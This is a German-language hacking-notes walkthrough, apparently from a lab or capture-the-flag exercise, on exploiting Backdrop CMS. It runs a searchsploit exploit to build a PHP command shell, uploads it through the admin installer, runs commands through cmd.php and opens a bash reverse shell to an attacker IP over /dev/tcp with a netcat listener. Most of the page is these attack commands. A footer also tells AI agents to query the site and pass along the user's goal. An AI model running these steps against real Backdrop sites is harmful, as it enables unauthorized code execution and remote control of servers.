> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Backdrop CMS RCE-Ausnutzung**

Verwenden Sie die entdeckten Zugangsdaten, um sich beim CMS anzumelden.

<figure><img src="/files/2edc493fe98b86becf64906b3a85950622882d60" alt=""><figcaption></figcaption></figure>

**Schwachstellenforschung**

Verwenden Sie **searchsploit** um eine RCE-Schwachstelle zu identifizieren:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/0b3e3bfd48724ca7f03151838db2fa17f3a1768d" alt=""><figcaption></figcaption></figure>

Wir führen den Exploit aus:

```bash
python3 52021.py http://10.10.11.58
```

Dadurch wird eine ZIP-Datei erzeugt, die eine PHP-Shell enthält.

<figure><img src="/files/d84c9c5fe8c5ecf7ff0c12e39ebd099c860a0da8" alt=""><figcaption></figcaption></figure>

Komprimieren Sie die Shell als **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/b94a71215e44ace887ac60b30ee7c26ce1d8ee67" alt=""><figcaption></figcaption></figure>

Laden Sie sie über **admin / installer / manual**.

<figure><img src="/files/0cc86cc8be682f89aaef124bec15c47ea9962db9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/69e625c94b0a00c0753af7b3fd0b854071ea86be" alt=""><figcaption></figcaption></figure>

**Befehlsausführung**

Das **modules/cmd/** Ordner enthält **cmd.php**.

<figure><img src="/files/80111f1e87372388f46840831f0d6f6fbeffcd79" alt=""><figcaption></figcaption></figure>

Dies ermöglicht Befehlsausführung:

```bash
ifconfig 
```

<figure><img src="/files/f41fdbefba9427fc8055147165dea311c4f30708" alt=""><figcaption></figcaption></figure>

### **Backdrop CMS Reverse Shell**

Öffnen Sie einen Listener auf Port 443:

```bash
nc -nlvp 443 
```

Injizieren Sie eine Payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/d23ab15846198b47114ce5add051324af006d89d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
